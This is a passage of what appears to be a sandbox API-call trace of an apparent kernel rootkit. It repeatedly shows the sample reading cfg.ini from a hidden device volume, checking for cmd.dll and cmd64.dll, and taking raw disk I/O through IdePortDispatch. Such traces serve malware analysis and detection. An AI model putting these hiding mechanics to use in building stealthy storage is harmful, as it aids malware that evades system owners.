FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.522] ExFreePoolWithTag (P=0xfffffa800294d8a0, Tag=0x0) [0130.522] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.522] KeLeaveCriticalRegion () [0130.522] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.522] ReleaseMutex (hMutex=0xf0) returned 1 [0130.522] Sleep (dwMilliseconds=0x124f80) [0130.536] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.536] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.536] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.536] KeEnterCriticalRegion () [0130.536] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.536] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.536] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.536] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.536] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.536] IdePortDispatch () returned 0x103 [0130.536] KeWaitForMutexObject () returned 0x0 [0130.536] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.536] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.536] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.536] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.536] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.536] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c910 [0130.536] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.536] KeLeaveCriticalRegion () [0130.536] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.536] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.536] KeEnterCriticalRegion () [0130.536] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.536] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.536] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.537] KeLeaveCriticalRegion () [0130.537] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.537] KeEnterCriticalRegion () [0130.537] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.537] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.537] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.537] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.537] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.537] IdePortDispatch () returned 0x103 [0130.537] KeWaitForMutexObject () returned 0x0 [0130.537] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.537] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.537] KeLeaveCriticalRegion () [0130.537] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.537] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.537] KeEnterCriticalRegion () [0130.537] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.537] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d6f000 [0130.537] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.537] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.537] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.537] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.537] IdePortDispatch () returned 0x103 [0130.537] KeWaitForMutexObject () returned 0x0 [0130.537] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.537] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.537] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.537] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.537] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.537] IdePortDispatch () returned 0x103 [0130.538] KeWaitForMutexObject () returned 0x0 [0130.538] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.538] KeLeaveCriticalRegion () [0130.538] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.538] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.538] KeEnterCriticalRegion () [0130.538] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.538] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.538] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.538] KeLeaveCriticalRegion () [0130.538] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.538] KeEnterCriticalRegion () [0130.538] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.538] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.538] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294d070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.538] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.538] KeLeaveCriticalRegion () [0130.538] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.539] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.539] KeEnterCriticalRegion () [0130.539] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.539] ExFreePoolWithTag (P=0xfffffa800294c910, Tag=0x0) [0130.539] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.539] KeLeaveCriticalRegion () [0130.539] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.539] ReleaseMutex (hMutex=0xf0) returned 1 [0130.539] Sleep (dwMilliseconds=0x124f80) [0130.541] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.551] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.551] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.551] KeEnterCriticalRegion () [0130.551] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.551] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.551] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.551] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.551] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.552] IdePortDispatch () returned 0x103 [0130.552] KeWaitForMutexObject () returned 0x0 [0130.552] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.552] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.552] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.552] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.552] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.552] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c450 [0130.552] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.552] KeLeaveCriticalRegion () [0130.552] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.552] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.552] KeEnterCriticalRegion () [0130.552] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.552] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.552] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.552] KeLeaveCriticalRegion () [0130.552] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.552] KeEnterCriticalRegion () [0130.552] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.552] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.552] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.552] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.552] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.552] IdePortDispatch () returned 0x103 [0130.552] KeWaitForMutexObject () returned 0x0 [0130.552] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.552] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.552] KeLeaveCriticalRegion () [0130.553] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.553] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.553] KeEnterCriticalRegion () [0130.553] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.553] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df0000 [0130.553] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.553] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.553] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.553] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.553] IdePortDispatch () returned 0x103 [0130.553] KeWaitForMutexObject () returned 0x0 [0130.553] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.553] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.553] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.553] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.553] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.553] IdePortDispatch () returned 0x103 [0130.553] KeWaitForMutexObject () returned 0x0 [0130.553] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.553] KeLeaveCriticalRegion () [0130.553] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.554] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.554] KeEnterCriticalRegion () [0130.554] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.554] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.554] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.554] KeLeaveCriticalRegion () [0130.554] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.554] KeEnterCriticalRegion () [0130.554] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.554] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.554] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002845b10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.554] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.554] KeLeaveCriticalRegion () [0130.554] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.554] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.554] KeEnterCriticalRegion () [0130.554] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.554] ExFreePoolWithTag (P=0xfffffa800294c450, Tag=0x0) [0130.554] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.554] KeLeaveCriticalRegion () [0130.554] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.554] ReleaseMutex (hMutex=0xf0) returned 1 [0130.554] Sleep (dwMilliseconds=0x124f80) [0130.565] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.565] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.565] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.565] KeEnterCriticalRegion () [0130.565] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.565] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.565] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.565] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.566] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.566] IdePortDispatch () returned 0x103 [0130.566] KeWaitForMutexObject () returned 0x0 [0130.566] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.566] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.566] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.566] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.566] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.566] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294d500 [0130.566] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.566] KeLeaveCriticalRegion () [0130.566] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.566] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.566] KeEnterCriticalRegion () [0130.566] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.566] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.566] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.566] KeLeaveCriticalRegion () [0130.566] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.566] KeEnterCriticalRegion () [0130.566] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.566] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.566] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.566] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.566] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.566] IdePortDispatch () returned 0x103 [0130.566] KeWaitForMutexObject () returned 0x0 [0130.566] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.566] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.566] KeLeaveCriticalRegion () [0130.567] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.567] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.567] KeEnterCriticalRegion () [0130.567] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.567] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df4000 [0130.567] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.567] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.567] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.567] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.567] IdePortDispatch () returned 0x103 [0130.567] KeWaitForMutexObject () returned 0x0 [0130.567] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.567] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.567] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.567] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.567] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.567] IdePortDispatch () returned 0x103 [0130.567] KeWaitForMutexObject () returned 0x0 [0130.567] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.567] KeLeaveCriticalRegion () [0130.567] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.568] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.568] KeEnterCriticalRegion () [0130.568] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.568] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.568] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.568] KeLeaveCriticalRegion () [0130.568] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.568] KeEnterCriticalRegion () [0130.568] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.568] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.568] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294d070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.568] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.568] KeLeaveCriticalRegion () [0130.568] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.568] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.568] KeEnterCriticalRegion () [0130.568] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.568] ExFreePoolWithTag (P=0xfffffa800294d500, Tag=0x0) [0130.568] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.568] KeLeaveCriticalRegion () [0130.568] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.568] ReleaseMutex (hMutex=0xf0) returned 1 [0130.568] Sleep (dwMilliseconds=0x124f80) [0130.583] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.583] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.583] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.583] KeEnterCriticalRegion () [0130.583] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.583] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.583] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.583] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.583] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.584] IdePortDispatch () returned 0x103 [0130.584] KeWaitForMutexObject () returned 0x0 [0130.584] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.584] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.584] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.584] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.584] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.584] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294ce10 [0130.584] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.584] KeLeaveCriticalRegion () [0130.584] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.584] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.584] KeEnterCriticalRegion () [0130.584] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.584] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, 